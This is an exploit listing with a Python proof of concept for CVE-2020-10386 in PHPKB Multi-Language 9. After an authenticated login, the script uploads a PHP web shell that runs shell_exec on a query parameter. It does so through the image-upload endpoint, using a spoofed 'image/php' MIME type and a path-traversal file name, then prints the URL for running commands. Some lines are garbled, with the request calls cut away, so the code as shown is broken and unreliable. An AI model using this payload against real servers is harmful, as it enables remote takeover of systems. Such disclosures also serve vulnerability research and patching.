PHPKB Multi-Language 9 image-upload.php Code Execution

PHPKB Multi-Language 9 suffers from an image-upload.php remote authenticated code execution vulnerability.

MD5 | 23b7b80b97e434ce09334e208f32fa38

# Exploit Title: PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage:
# Software Link:
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10386

#!/usr/bin/env python3
import argparse
import requests
from json import loads

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10386 - Remote Code Execution via .php file upload in admin/imagepaster/image-upload.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser/Writer/Translator/Editor username")
parser.add_argument("password", type=str, help="Superuser/Writer/Translator/Editor password")
parser.add_argument("command", type=str, help="The command you want to execute")
args = parser.parse_args()

session = requests.Session()
#Perform login + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code
baseurl = loads( + "/admin/imagepaster/image-upload.php", files={'file': "<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>"}, data={'action': 'imageinsert_upload', 'imgMime': 'image/php', 'imgName': '../js/index.png', 'imgParent': 'null'}).text)["url"]
print("Visit this page to execute the command:\n" + baseurl + "?cmd=" + args.command)
print("\nIf you want to execute other commands you can re-execute the exploit or visit this webpage, followed by the command you want executed:\n" + baseurl + "?cmd=")

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